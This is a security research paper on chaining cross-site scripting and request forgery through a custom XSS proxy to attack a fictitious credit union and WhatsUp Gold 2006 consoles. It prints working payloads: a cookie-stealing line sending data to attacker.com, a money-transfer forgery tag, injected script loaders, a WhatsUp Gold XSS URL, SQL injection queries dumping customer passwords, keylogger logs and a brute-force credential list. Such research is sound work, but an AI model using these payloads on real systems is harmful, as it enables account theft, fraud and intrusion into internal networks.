

Kicking Down the Cross Domain Door

Techniques for Cross Domain Exploitation

Billy K Rios – Senior Researcher Raghav Dube – Senior Researcher

Intended Audience

This paper assumes the reader has a solid understanding of web application security principles, Cross Site Scripting (XSS), Cross Site Request Forgery (XSRF), and web browser security mechanisms. This paper will provide the foundations of the various types of exploitation, but will then quickly move into more advanced techniques. Please see the reference section of this paper for more information regarding individual types of attacks. If the reader has experience with XSS, XSRF, and XSS Proxies, the reader should proceed directly to Chapter 4 (The Attack).

Contributing Authors

Version 1.0 Billy Kim Rios – Senior Researcher Raghav Dube – Senior Researcher

Proofreading

Palan Annamalai – Senior Researcher

Table of Contents

INTENDED AUDIENCE	II
CONTRIBUTING AUTHORS	II
PROOFREADING	II
CHAPTER 1 – IMPLICATION OF CROSS DOMAIN ATTACKS	4
1. Overview	4
2. BROWSER SECURITY MEASURES	4
CHAPTER 2 – ATTACK FOUNDATIONS	5
1. CROSS SITE SCRIPTING (XSS)	5
2. CROSS SITE REQUEST FORGERY (XSRF)	6
CHAPTER 3 – XSS PROXIES AND FRAMEWORKS	8
1. Overview	8
2. CROSS SITE SNIPER (XS-SNIPER)	8
CHAPTER 4 – THE ATTACK	14
1. Overview	14
2. THE INITIAL XSS	14
3. RECONNAISSANCE OF THE FINAL TARGETS	14
4. ATTACKING BIGCREDITUNION.COM	15
5. ATTACKING AN INTERNAL NETWORK RESOURCE	24
CHAPTER 5 – CONCLUSION	33
REFERENCES	34
APPENDIX A – JAVASCRIPT PAYLOADS	35
Spotter.js	35
External-spot.js	37
SNIPER SCOPE	38
FIREFOX SNIPER SCOPE	38
IE SNIPER SCOPE	39
XIVIL HI I P KEQUESI (XHK)	40
XHR FIDEEOV SNIDER SCODE	41 /1
XHR IE SNIPER SCOPE	42
WHATSUP GOLD 2006 SCANNER	43
WHATSUP GOLD 2006 BRUTE FORCER	44
NIKTO SCANNER	47
APPENDIX B – SNIPER CODE SNIPPETS	51

Chapter 1 – Implication of Cross Domain Attacks

1. Overview

Cross domain requests lie at the heart of an ongoing battle between developers who strive to provide rich, up to the minute information from sources located all over the world wide web and security professionals who fear cross domain requests could cripple the Internet with new classes of exploits and attacks. Typically requests to various domains are not an issue, it becomes an issue however, when an attacker can masquerade their request as if it were from a privileged or trusted user.

Considering the Hypertext Transfer Protocol (HTTP) is stateless, there are several ways browsers attempt to pin "state" to a web application. This state is typically tied to a particular user and their associated privileges after the user has gone through some sort of authentication process (typically entering a username/password combination). Normally, state is tracked via a session cookie, which is passed with each request from the user's web browser to the web application. Normally, the web server associates a particular session cookie value with a particular user. So, in a sense, the web application "trusts" that HTTP requests containing the correct session value must have come from the user it has associated to that particular value. The danger in domain and cross domain requests arises when an attacker can piggy back off of this established trust.

2. Browser Security Measures

In order to prevent cross domain requests, browsers typically impose significant restrictions on cross domain interaction by the web browser. Most browsers implement the "Same Origin Policy", which restricts communication between different domains. The nuances and exact details of how browsers enforce the same origin policy are out of scope for this document, but there are some fundamental concepts that should be understood. In the simplest sense, the same origin policy attempts to keep content and functionality from one domain (attacker.com) from stealing or modifying the content of another domain (victim.com). Without the same origin policy, malicious websites would be able to read our web based email, check our online banking account information, and steal other pieces of sensitive information from us.

There are a few exceptions to this policy (script src, img src...etc), but the exceptions are very limited. Additionally, most modern browsers allow for functionality from one domain to make a request for content from an external domain (via frame src, location.href...etc), but will not allow the initiating domain to view the response from the cross domain request. The examples presented in this paper, will abuse the web applications trust of the browser and skirt the line of permitted and restricted functionality provided by the browser.

Chapter 2 – Attack Foundations

1. Cross Site Scripting (XSS)

XSS is typically caused by a lack of adequate input filtering and/or improper output encoding. XSS can allow an attacker to supply arbitrary client-side code (JavaScript, VBScript... etc.) that will ultimately be rendered and executed within the browser of the end user. When this client-side code is rendered within the browser of the user, the attacker can gain access to the DOM existing within that browser.

Typically, XSS has been exploited by providing the final payload code to be executed within the actual application parameters passed to the application. As XSS attacks have matured, attackers have discovered ways to dynamically change XSS payloads "on the fly" to maximize the impact of XSS attacks. This is typically done by pointing the application to a dynamic JavaScript XSS payload through the use of injected "script src" tags.

Once a victim has been XSS'd, the attacker can steal DOM items from the victims' browser. The stealing of information from a victims' browser is typically done by ferrying off information by using "one way" client side scripting and HTML requests back to the attacker. Perhaps the most classic example of how an attacker would ferry off information from a XSS'd victims' browser back to the attacker is the "document.cookie" example. In this example, the attacker uses XSS to force the victim to create a request for some resource on the attacker controlled server (in this case a jpg). The victim passes the cookie value in the query string of the request and the attacker captures the incoming request for the jpg file on the attacker controlled server. The JavaScript payload may look something like this:

var getTheCookie = new Image();
getTheCookie.src = 'http://www.attacker.com/images/cookie.jpg?cookie='+document.cookie;

Although the above example simply passes the victims' cookie back to the attacker, the underlying techniques can be used to ferry various pieces of information from the victims' browser to the attacker. This technique is used extensively throughout the examples presented in this paper.

XSS has shown itself to be a powerful attack, allowing attackers to steal various pieces of sensitive information. XSS basically gives the attacker control over the victims' browser, allowing the attacker to masquerade various requests as the victim. Although the techniques to prevent XSS seem simple and easily implemented, developers are finding that the completely eliminating XSS from their web applications is a difficult and continuously evolving process. The power given to the attacker via XSS and the prevalence of XSS in the "wild" make XSS a favorite choice of web application hackers.

2. Cross Site Request Forgery (XSRF)

Although Cross Site Request Forgery (XSRF) sounds a lot like Cross Site Scripting (XSS), XSRF is a completely different type of attack. XSRF attacks typically take advantage of web applications trust of a user's web browser. This trust may have been established because the user previously provided the correct login credentials to the web application, has an active session or persistent cookie located on their machine, or resides in the correct IP space. Additionally, XSRF typically requires the attacker to craft a request with the parameters that would normally be used to execute some functionality within a web application, forcing the attacker to have a solid understanding of targeted web application before initiating the XSRF. The web application assumes that because the request has the appropriate "trust" (legitimate session cookie, IP space...etc) and the request contains the proper parameters, the request must be legitimate and must have originated from the legitimate user.

A classic example of XSRF in action shows an attacker using XSRF to transfer money from a victims' bank account to an attacker controlled bank account (the example is based on the example presented on the OWASP web site).

The attacker (Billy) decides to transfer \$1 to his friends (Raghav) checking account using www.BigCreditUnion.com. Billy logs all of the HTTP requests and responses made from his computer and notices that when he requests a transfer of \$1 from his account to Raghav's account the following HTTP GET request is made:

GET /transfer.do?toacct=RAGHAV&amount=1 HTTP/1.1

...

Cookie: MYCOOKIE=AWSWADJ1LE3UQHJ3AJUAJ5Q5U

Host: www.BigCreditUnion.com

The web application does a great job of tying the users' session to the appropriate account and subtracts the \$1 from Billy's account and adds \$1 to Raghav's account. Being an enterprising hacker, Billy understands that this scenario is ripe for XSRF and embeds the following HTML tag into his website:

<img src=

"http://BigCreditUnion.com /transfer.do?toacct=BILLY&amount=10000"

width="1" height="1" border="0">

Now, whenever a victim with an established session with BigCreditUnion.com visits Billy's website, \$10000 will be transferred out of the victims' account and placed into Billy's account.

While the above example shows only a simple scenario of how XSRF can be used to exploit a victim, it does highlight some of the strengths and weaknesses of XSRF:

Strengths:

XSRF gives the attacker the ability to take advantage of the victim's environment

XSRF allows the attacker to make a "one-way" cross domain request on behalf of the victim

XSRF can be used to execute some functionality on an external application

XSRF can be difficult to detect

Weaknesses:

Verification of successful XSRF typically requires a side channel.

XSRF attacks typically require a detailed understanding of the target system.

Step based processes (although possible) can be tricky

In the examples presented in this paper, we will use XSS and XSRF in combination with each other to maximize our exploitation efforts.

Chapter 3 – XSS Proxies and Frameworks

1. Overview

While XSS proxies and frameworks are not necessary for exploitation, they can make things easier. While a few XSS proxies and frameworks exist in the public domain, I have chosen to create my own. This proxy allows me to dynamically change the JavaScript requested by the "script src" tag typically injected during an XSS attack. Although the look and feel of the XSS proxy used in these examples is custom to this particular tool, the foundation and the fundamental concepts used by my custom proxy is based on the XSS-Proxy created by Anton Rager (ShmooCon 2005).

2. Cross Site Sniper (XS-Sniper)

XS-Sniper is the name of the XSS proxy I have created. The basic look and feel of XS-Sniper will be presented in the following screenshots.



XS-Sniper Sniper Sniper Scope	Dynamic JavaS Payloads for ext	Cript ternal.js
External Active Payload sniperscope();		External Spotter Payload document.write(' <body onload="spotter()">'); var randomnumber=Math.floor(Math.random()*100001); function spotter(){ function spotter(){ var bigframe=document.documentElement.innerHTML; iframeHTML='<lframe iframe<="" name="myFrame" td=""> id="myFrame" width="50%" height="50%" scrolling="auto" frameborder="0"></lframe>'; iframeHTML+*' iframeHTML+*' iframeHTML+*' iframeHTML+*' iframeHTML+*' iframeHTML+*' iframeHTML+*' iframeHTML+*' iframed="myFrame2" width="0%" height="0%" scrolling="auto" frameborder="0"> iframe id="myFrame3" width="50%" height="50%" iframeITML+*' iframedTTML+*' iframeITML+*' iframeITML+*'</body>

Once again, XS-Sniper operates under the same principles outlined by Anton Rager's XSS Proxy. All of the JavaScript payloads used in the examples below will be provided in Appendix A. Much like other XSS proxies, XS-Sniper simply accepts an incoming HTTP request and serves a dynamic response controlled by the attacker. Much like the XSS-Proxy, XS-Sniper does not require the installation of a web server or database software. There are however, a few pieces of functionality provided by XS-Sniper that is not provided by the XSS-Proxy, these pieces will be covered in the following paragraphs.

The first piece of functionality provided by XS-Sniper that is not provided by XSS-Proxy is called the Sniper Scope. In some cases, raw HTML and client side scripting can be difficult to understand (try taking a look at the HTML source of Gmail sometime). Searching through raw HTML and client side code can stymie even the most experienced web application hacker. In some cases, it's easier to have a browser render the HTML and client side code in order to understand exactly what's going on. The Sniper Scope simply gives the attacker the ability to render and view captured HTML and client side code. JavaScript payloads to capture the HTML currently being viewed by the XSS'd victim can be found in various places (attack API, Jeremiah Grossman's Blackhat briefing) and the JavaScript payload used by XS-Sniper is provided in the <u>Appendix A</u> (Sniper Scope, Firefox Sniper Scope, and IE Sniper Scope). The JavaScript used by XS-Sniper to ferry off HTML from the victim's browser back to Sniper works with both Internet Explorer (via POST requests) and FireFox (via GET requests). XS-Sniper was built with C#, which allows the tool to make use of browser objects. Once the HTML stolen from the victim's browser is passed back to XS-Sniper, we can render the captured HTML in the browser objected contained within XS-Sniper. The screenshots below show the Sniper Scope in action. The first screenshot shows the webpage as the XSS'd victim would see in their browser. The second screenshot shows the HTML and client side code stolen from the XSS'd victims' browser being rendered in the Sniper Scope.





The Sniper Scope allows the attacker to quickly identify and target sensitive information that is being displayed to the screen, taking full advantage of the limited time during an attack. Additionally, because the HTML is rendered by a browser object, the attacker is free to view the HTML source at any time, which can be used to identify POST parameters and hidden fields as needed.

The second piece of functionality not provided by the XSS-Proxy, is the ability to handle and organize information stolen from the victim into easily understood chunks. Some XSS proxies simply log incoming requests and force the attacker to sift through logs searching for key pieces of data. An example of one of these logs is presented below.

http://www.attacker.com/parameter.gif?cookie=ASPSESSIONIDACQTQRCQ=COFBMPBBNDJGNLJKKBDD
http://www.attacker.com/test/execute.js?trigger=143772
http://www.attacker.com/test/execute.js?trigger=143772
http://www.attacker.com/parameter.gif?keystroke=65
http://www.attacker.com/parameter.gif?keystroke=68
http://www.attacker.com/parameter.gif?keystroke=77
http://www.attacker.com/parameter.gif?keystroke=73
http://www.attacker.com/parameter.gif?keystroke=78
http://www.attacker.com/test/execute.js?trigger=143772
http://www.attacker.com/parameter.gif?keystroke=9
http://www.attacker.com/parameter.gif?keystroke=80
http://www.attacker.com/parameter.gif?keystroke=65
http://www.attacker.com/parameter.gif?keystroke=83
http://www.attacker.com/parameter.gif?keystroke=83
http://www.attacker.com/parameter.gif?keystroke=87
http://www.attacker.com/parameter.gif?keystroke=79
http://www.attacker.com/parameter.gif?keystroke=82
http://www.attacker.com/parameter.gif?keystroke=68

XS-Sniper helps the attacker organize and presents captured data in an easy to use manner, increasing the likelihood of a successful real time attack. For example, if the attacker desires, captured HTML can be immediately ferried to the Sniper Scope and rendered for the attacker, while captured keystrokes are sent to a different tab, and the results from an attacker initiated JavaScript Nikto scan are sent to yet another tab. The screenshots below show some of the tabs used by Sniper to organize information.



🔛 X.	S-Sniper								
					1				
8	Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner	Recon	Javascript	External Attacks	S
	Bil MyPer	bo's Blo cent20 - Bilbo's P	g age						
	Bilbo's	MyPercent20 Pag	ge! Please read	my <u>disclaimer</u> .					
				First Page	Prev. Page	Next Page	e Last Page		
	Frid	ay, 1 Dec 2	2006						

🔜 X	S-Sniper			
	Sniper	Sniper Scope	KeyLogger	Nikto Res
	a d	min <tab>pa</tab>	ssword	

Kicking Down the Cross Domain Door

This functionality is simply accomplished by organizing data according to parameter names passed from the victim to XS-Sniper. For example, the attacker can specify that the parameter "content" will contain the HTML data stolen from the victim. XS-Sniper then waits for a request with the parameter name of "content" and ferries the value of the "content" parameter to the appropriate functionality (in this case, the Sniper Scope). The screenshots below show the attacker specifying the parameter for HTML content and the parameter for logged keystrokes.



Organization of data stolen from the victim is a key element for a successful real time attack. The examples above show how XS-Sniper organizes data, but the attacker should organize data in ways that are most beneficial to the individual attacker. Although the concepts for this data organization functionality are extremely simple, source code snippets showing how XS-Sniper handles various parameters are given in <u>Appendix B</u>.

Chapter 4 – The Attack

1. Overview

This chapter will walk the reader through two different examples of cross domain attacks. These examples range from relatively simple, to mildly complex. The examples given below were performed in a controlled environment; however the principles outlined here can be used against real world systems, please utilize with discretion.

2. The Initial XSS

There are several attack strategies surrounding how to lure someone into a XSS'd web application. For the purposes of this demonstration, we will target a fictitious social networking/blogging web application. These sites can attract thousands of users who will spend hours perusing various bios and comments. Many social networking sites allow users to upload HTML (and other) content for others to see. In this scenario, a fictional social networking site named "www.MyPercent20.com" was created and contains the initial XSS (based on BlogX). The reason for targeting a popular web application (such as social networking sites or popular blogs) are simple, the popularity of these sites create a "target rich" environment with thousands of potential victims.

Although a significant amount of information can be stolen from users of the MyPercent20 web application via XSS (and we can make a lot of "friends"), information pertaining to MyPercent20 is not what we are after, so we merely use MyPercent20 as a springboard to other, more interesting domains. In this case, our final targets include: www.BigCreditUnion.com (a fictitious Credit Union created for this demonstration) and an HTML management console for an internal network resource (WhatsUP Gold 2006).

3. Reconnaissance of the Final Targets

Reconnaissance of the final target can vary from target to target. The techniques described in this paper rely upon flaws in the final target, making reconnaissance of the final target essential in making the cross domain jump. For the purposes of this demonstration, we will outline some techniques to conduct reconnaissance of the final targets (www.BigCreditUnion.com and WhatsUP Gold 2006). Our reconnaissance efforts will be focused on identifying XSS exposures on the final target. These XSS exposures will help the attacker make the cross domain jump.

www.BigCreditUnion.com – Reconnaissance of an Internet facing application is generally the simplest. There are several ways to initiate reconnaissance of the final target. BigCreditUnion.com is an Internet facing application, so attackers can search for XSS vulnerabilities by crawling the final target and manually searching for XSS on the target. XSS clearing houses and popular XSS related security boards are a great place to find XSS vulnerabilities for internet facing applications as well (http://sla.ckers.org/forum/read.php?3,44,page=1, http://www.seclists.org...etc)

Internal Network Resource – HTML management consoles have gained a significant foothold in today's network devices. Most of these management consoles are hosted on custom (embedded) web servers with little/no thought given to attacks such as XSS or XSRF. Although techniques related to attacking these devices has been demonstrated by accomplished security researchers (most notably Jeremiah Grossman at Black Hat USA 2006), most of the examples given do not provide an "interactive" session with the affected network device. The next example will present techniques to establish a control channel to the affected internal network resource, which allows the attacker to view sensitive information and make changes as they see fit. Some of the more effective methods for conducting reconnaissance for internal network devices include the purchasing or evaluating of a demo version of the network resource and perusal of popular vulnerability/full disclosure mailing lists and boards.

4. Attacking BigCreditUnion.com

Once we have identified an XSS injection point on our final target, it's time to jump to the external domain. In this case, we will use our initial XSS exploit on MyPercent20 to create an XSRF request to our final target, which will execute an XSS on the final target. The final XSS will create the control channel (using the victim's browser) between the attacker and the final target. Keep in mind that the XSS exposure can be anywhere on the final target. The example presented below will work with both IE and Firefox browsers.

The initial XSS is nearly invisible. The attacker takes advantage of the "leave a comment" features of the popular blogging site to plant the invisible attack. An examination of the HTML source rendered by the browser gives us a clue as to how the attack was executed. The screenshot below shows the embedded XSS attack.





This XSS attack points back to the XSS proxy we have in place, allowing us to inject dynamic JavaScript payloads on the fly. The initial attack forces the victim's browser to request a JavaScript named spotter.js from the XSS proxy. Spotter.js creates several iframes, one that the user can see, and three other that are invisible. These four frames can communicate with each other because they fall within the "same origin policy" and establish the control channel for the remote attacker. The attacker implants the initial frames and injects a JavaScript payload that forces the victim's web browser to repeatedly request new payloads from the XSS proxy using the setInterval JavaScript function. The spotter.js JavaScript used by the proxy is provided in the <u>Appendix A</u> (spotter.js).



Making the jump to the external site is relativity simple; we simply use XSRF to the final target. XSRF is typically used to pass parameter values to an external application to execute some specific application functionality (change password, transfer money...etc), in this case we will use the XSRF to pass application parameters to initiate an XSS attack against the external application. So in essence, we are using an XSS exposure on MyPercent20.com to send an XSRF to BigCreditUnion.com, which takes advantage of an XSS exposure on BigCreditUnion.com. Despite the fact that we've used the victim's browser to request the XSS on BigCreditUnion.com, and the response will be captured in an iframe on the victim's web browser, this frame cannot communicate with the other frames due to the same origin policy. To bypass this restriction we will ignore frame to frame communication obstacles and we will inject JavaScript to force the BigCreditUnion application loaded in the hidden iframe to establish a new communication channel with the XSS proxy hosted by the attacker. We will now have TWO SEPARATE control channels via the victim's web browser and our proxy (one with myPercent20.com and one with BigCreditUnion.com). By having two separate control channels, the attacker is able to create HTTP requests and receive the HTTP responses to and from both myPercent20.com and BigCreditUnion.com using the victim's browser. The two separate control channels also give the attacker access to the DOM established by the victim's browser, myPercent20.com, and BigCreditUnion.com.

In this example, we establish the second control channel by sending an XSRF as the src of an iframe (myFrame3). This will load the contents of the external domain (in this case www.BigCreditUnion.com) into the invisible iframe. The following JavaScript loads the XSS'd BigCreditUnion.com application into myFrame3:

parent.myFrame3.location.href='http://www.bigcreditunion.com/login.asp?acctnum=">%20src=http://www.attacker.com/test/external-spot.js?></script>';



Take notice that we've pointed the injected script src to the XSS proxy run by the attacker however, we specify a separate JavaScript file for the external domain (external-spot is as opposed to spotter is). Initially, external-spot is and spotter is return the same JavaScript payloads, but having a separate JavaScript for external attacks allows us to issue completely separate JavaScript payloads to myPercent20 and BigCreditUnion.com. External-spot.js is provided in Appendix A (external-spot.js). In XS-Sniper, we control the spotter.js responses with the "Active Payload" textbox and the external-spot.js is controlled by the "External Active Payload" text box. Now that we have established the control channel with BigCreditUnion, the attacker must drive all interaction, as the victim cannot see or interact with the invisible frame containing BigCreditUnion.com. We drive the interaction through the use of the XMLHTTPRequest (XHR) object. By using the XHR object, we can drive the interaction with BigCreditUnion loaded in the invisible iframe. The XHR JavaScript used in this example is provided in the Appendix A (XML HTTP Request). Although the iframe is invisible to the victim, the attacker is able to ferry the HTML source from the invisible frame back to XS-Sniper. When XS-Sniper receives the HTML source, it renders the HTML in a browser object, allowing us to "spy" on the contents of the invisible iframe. The JavaScript used to ferry the HTML back to XS-Sniper is included in Appendix A (XHR Sniper Scope XHR Firefox Sniper Scope, and XHR IE Sniper Scope). We select the pages we want to "spy" on by requesting that page with the XHR function provided in the Appendix A (XHR Sniper Scope). Our first example shows the attacker piggy-backing off of an established session and browsing the victim's account information.

Sniper	Sniper Scope	KeyLogger	Nikto Results	Scann
-				
	E de constat		í -	
	External A	ctive Payload		

Sniper Sniper Sco	ppe KeyLogger	Nikto Results Scanner Recon Javascript E	xternal Attacks Settings Nikto 5 🛪
×			XXX
×	×		
×		CU Onnne Banking - Account Balance Summar	ry
×		Below is a summary of your current account balance EST on 2/17/2007.	es. This information is as of 5:00 PM
×			
×		Previous Balance	\$ 99994.69
<u> </u>		Current Withdrawals	(6999.62)
		Current Deposits	4999.73
×		Current Balance	\$ 97994.80
×			
		Main Menu Account Balances Account Con	ntact <u>Customer Forum</u> <u>Logout</u>

The example above assumes the victim has an active session established with BigCreditUnion.com however, even if the user doesn't have an established session with BigCreditUnion.com, we are still free to execute several attacks against the web application. Using the XHR request, we can run a "Nikto" type scan against BigCreditUnion.com. The JavaScript for the Nikto scan is provided in <u>Appendix A</u> (Nikto Scanner). For the sake of clarity, only 4 payloads from the Nikto scan DB are included, but the reader is free to add as many as they wish. The screenshots below show the Nikto scan being run against BigCreditUnion.com.



🔡 XS-Sniper						
		[w u]		a 1	D	
Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner	Recon	Javascript
				Nikto	Results	
/ii	ncludes/ This r	night be intere	esting			

Running a Nikto type scan against the web server using the victim's browser can give an attacker a good baseline for future attacks, but because the attacker is ferrying the HTML from BigCreditUnion.com back to the proxy, the attacker is also able to analyze the HTML source for other vulnerabilities. Once the attacker has identified a

potential vulnerability, the attacker can manually test vulnerabilities by submitting GET and POST requests using the XHR. The screenshots below show the attacker manually exploiting a SQL injection vulnerability on BigCreditUnion.com through the use of the XHR object. As the attacker tests various exploits against BigCreditUnion.com, the attacker is able to see all the responses from the web application, allowing the attacker to focus attacks even further and extract valuable data as needed. As an added bonus, when the administrators of BigCreditUnion.com comb their logs for evidence, their logs will lead to the victim!

🔜 X	S-Sniper				
0					
	Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner F
		External A	ctive Payload	I	
	XHR(//ocator.asp?st e_name_table_r	ate=z'union s	elect 🔤	c v
	_nam &sea	e,table_name fr rchtype=state");	om user_table	es-	
				- 18	f

sniper							
Sniper Scope	KeyLogger	Nikto Results	Scanner Recon	Javascript E:	xternal Attacks	Settings Nikto	5 < >
×							^
		-					
×	×	Branch Lo	cator				
×	-	Draiter Lo	cator				
	_	Branch Ad	drace		City		
×		# #	uress		City		-
×		1 AQ	S_QUEUES		AQ\$_QUEUE	S	
	_	1 AQ	S_QUEUE_TABLES		AQ\$_QUEUE	_TABLES	
	_	1 AQ	SCHEDULES		AQ\$_SCHED	ULES	
×		1 CU	STOMER		CUSTOMER		
	-	1 DE	FS_AOCALL		DEFS_AQCA	LL	
	_	1 00	AQERROR		DEFS_AQER	ROR	
×		DE	FS_CALLDESI		DEFS_CALLI	JESI	
		DE	DEFAULTDEST		DEFS_DEFA	NATION	
			EPPOP		DEFS_DEST		
Response from	a SQL Ir	iection	LOB		DEFS LOB	x	
Showing an Inte	resting T	ahle in	ORIGIN		DEF\$_DEIGI	N	
Showing an inte	resung i		PROPAGATOR		DEFS PROPA	AGATOR	
ne Database			PUSHED TRANS	ACTIONS	DEF\$ PUSH	ED TRANSACTI	ONS
		1	TEL TEL DEL OD		DEDA 100 000		×

XS-Sniper			
Sniper	Sniper Scope	KeyLogger	Nikto Results
	External A	ctive Payload	1
XHR(custn bal fr	"/locator.asp?st um,fname,Iname om customer—&:	ate=z'union s e,password,er searchtype=s	elect 🛆 ndbal,beg tate");

							1
Sniper Snipe	er Scope Ke	yLogger Niktr	o Results Sca	nner Recon Javas	cript External A	ttacks Setti	ngs Nikto 2 «
						××	×
		1					<u> </u>
	×	Branch Loc	ator				
		Branch #	Address	City	State	Zip	Telephone
		103639201	KENT	PETERSON	masterpc	69479.02	70896.96
		103639202	KENT	MICHAELSEN	mathman	69134.81	70545.72
	6	103639203	OLIVER	BENAMOU	ProfXav	69396.07	70812.31
		103639204	CYNTHIA	HOLMES	canada	85628.03	87375.54
	1	103639205	LANCE	NEEDHAM	april333	69078.74	70488.51
		103639206	SCOTT	NELSON	silky69	70243.20	71676.74
		103639207	ROBERT	DURGIN	s3pulsar	70966.25	72414.54
	1	103639208	EDWARD	TESINY	changeme	69830.09	71255.19
		103639209	DIMA	ARENKOV	dec1595	85007.83	86742.69
		103639210	STEVEN	SNEDDON	spiga78	84776.49	86506.63
		103639211	WILLIAM	SNOW	password	86210.41	87969.80
		103639212	MATTHEW	ZOKS	changeme	69389.77	70805.89
		103639966	JAMES	SONG	password	85019.29	86754.38
		103640065	JOHNNY	VODER	KJTSK1	69919.15	71346.07
		103640116	WILLIAM	TALLANT	test	85220 45	86959 65

5. Attacking an Internal Network Resource

Attacking internal network resources adds a bit of complexity and typically changes the attack landscape. Attacks against internal network resources are typically targeted towards large corporations with large numbers of network devices and enterprise software (although home users are at risk too). The next example will present a scenario of an attacker using an employee's web browser to attack the internal network resources of a large corporation. This specific example uses the Firefox browser (2.0), but similar techniques can be used with IE.

In this example, we will target a popular network management software suite with known XSS vulnerabilities (WhatsUp Gold 2006 by Ipswitch). Although this example is specific to WhatsUp Gold, the same principles can be applied to ANY WEB APPLICATION with XSS vulnerabilities! We selected WhatsUp Gold because it is used extensively by corporations on their internal networks and is rarely seen on Internet facing machines. This allows us to further drive home the fact that we are now attacking a company's INTERNAL assets. Also, network monitoring tools are especially valuable to attackers, because they can be used to quickly footprint an entire organizations internal network layout, giving the attacker additional targets and their exact locations. Once again, these principles can be applied to ANY web application with XSS vulnerabilities and this example could have easily shown attacks against popular database HTTP management consoles, internal team sharing portals, firewall/router HTTP management consoles, or any other web application software with XSS vulnerabilities running in a corporation's internal network.

This attack begins with reconnaissance of the internal network resource we wish to attack. Although enumerating and identifying vulnerabilities associated with internal network resources represents one of the more tedious portions of the attack, attackers are aided by the fact that most of the network devices and enterprise software used by major corporations, are also publicly available (via demos or other means). Vulnerabilities for enterprise level software can also be found scattered amongst thousands of security forums, bulletins, and blogs, helping the attacker build their arsenal of attacks. This situation is exacerbated by the relaxed attitude towards keeping internal resources up to date, the popularity of HTTP applications on company intranets, and the prevalence of stripped down embedded web servers running on network devices ("but hey, we don't need to worry about that kind of stuff...we've got a great firewall!").

Through research of various security forums, bulletins, and blogs, combined with access to software demos and trials, an attacker could build a database of known XSS vulnerabilities related to internal application software and network devices. The screenshot below shows an attacker researching XSS vulnerabilities related to WhatsUP Gold 2006 from various public sources.



Although several XSS vulnerabilities exist in the WhatsUP Gold 2006 application servers, we will use the following XSS vulnerability for this example.

http://WhatsUPGoldServer/NmConsole/ToolResults.asp?blsIE=true&nToolType=0&sHo stname=<script%20src=http://www.attacker.com/test/externalspot.js?></script>&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping

Once the attacker has built a list of known XSS vulnerabilities for their targeted internal web application, the attacker begins the attack by planting the initial XSS attack on a popular, target rich web application, like mypercent20.com. Once the attacker has found a suitable victim, the attacker can begin enumerating HTTP servers on the victim's internal network by using well known techniques to "port-scan" for HTTP servers on the victim's internal network (Spidynamics has a great JavaScript port-scanner). We can further enumerate our targets by searching for known images which helps narrow our attacks if needed. In some cases, we can identify the specific version of the web application running by querying for these known images. The screenshot below shows the attacker using a JavaScript port scanner and image requests to discover where the WhatsUP Gold 2006 server is located in the victim's internal network. The JavaScript used to identify WhatsUP Gold 2006 Scanner).

Sniner	Sniner Scone	Keyl onner	Nikto Besults	Scanner	Becon	Javascrint	External Atta
				Contraction of the local division of the loc	- Desults		

For the sake of clarity, we will confine our XSS payloads to a single known XSS vulnerability associated with WhatsUP Gold 2006. We will also confine our fingerprinting efforts to WhatsUP Gold 2006 HTTP servers over a small subset of IP addresses. In a real world scenario, the attacker would attempt to fingerprint several different application servers. The attacker would also have XSS vulnerabilities for several versions of the targeted software. The attacker would use the information gathered from the "portscan" and fingerprinting, to match up XSS vulnerabilities to discovered hosts.

Once the attacker has identified the WhatsUP Gold server, the attacker would attempt to establish an interactive session through the victim's browser and the network resource (much like the BigCreditUnion example). The attacker piggybacks off of any established trusts between the internal network resource and the victim's browser. So, if the victim happens to be logged into the WhatsUP Gold network management console, we can masquerade as the victim and the attack is straight forward. In this example (as is probably in the real world), the victim will not be logged into the WhatsUP Gold management console. In fact, it's more likely that the victim:

- a. Has never heard of WhatsUP Gold
- b. Fills some non IT role in the organization
- c. Will NEVER have an established session with the WhatsUP Gold server.

If the software we are targeting has a XSS vulnerability in a non-authenticated portion of the site, we are free to jump to this XSS point and conduct attacks similar to those described in the BigCreditUnion example (including brute forcing of login credentials). For the sake of this example (and to add some realism to the attack), we will assume no XSS vulnerabilities exist in the non-authenticated portions of the WhatsUP Gold 2006 software.

With no XSS vulnerabilities in the non-authenticated portions of the WhatsUP Gold web application, and no active sessions between the victim and the WhatsUP Gold server, the attacker must use other techniques to force an authenticated session

between the victim's browser and the WhatsUP Gold web application. One such technique is to brute force possible username and passwords. The attacker creates a list of username and passwords which will be sent to the login page of the WhatsUP Gold web application. For the sake of clarity, we will limit our username and password list to three different usernames and three different passwords. In a real world scenario, an attacker would have a larger username and password list. The list we will use is presented below.

var usernameList = new Array("administrator","whatsup","admin"); var passwordList = new Array("password","admin","administrator");

Once the attacker has built a suitable list of username and passwords, the attacker can examine how username and passwords are passed to the web application. Although the attacker can step through the WhatsUP Gold authentication process in several ways, the simplest way in this scenario is to download a trial version of the software and capture the appropriate POST parameters. In this instance, we capture the following POST parameters during the login process.

POST /NmConsole/Login.asp HTTP/1.1 Host: WhatsUPGoldServer (POST PARAMETERS) blsJavaScriptDisabled=false&sLoginUserName=USERNAME &sLoginPassword=PASSWORD&btnLogin=Log+In&blsIE=true

Although most HTTP servers allow POST parameters to be passed as GET query string parameters, the HTTP server associated with WhatsUP Gold 2006 does not. This makes the example below a little more complicated, but more realistic. Using the one of the invisible iframes (myFrame3), the attacker will POST to the Login.asp page with a set of credentials from our username/password list (XSRF). We can do this by writing the form elements to the invisible iframe and using JavaScript to automatically submit the form. The attacker follows the POST of credentials to the Login.asp page with the "authenticated only" XSS request (another XSRF, with a twist). If the username and password combination we have attempted is invalid, the XSS request will simply fail, redirecting the invisible iframe back to the Login.asp page. The attacker then moves to the next set of username and passwords in the pre-built list. If the username and password combination the attacker attempts is VALID, then the WhatsUP Gold 2006 server will issue the victim's browser a session cookie. The attacker then piggybacks off of this newly established session with a request to the "authenticated only" XSS, via XSRF. The attacker uses this XSS to establish a control channel with the WhatsUP Gold server through the victim's browser. Once the attacker has a control channel to the WhatsUP Gold management console, they are free to view sensitive network

information and make any changes they desire.

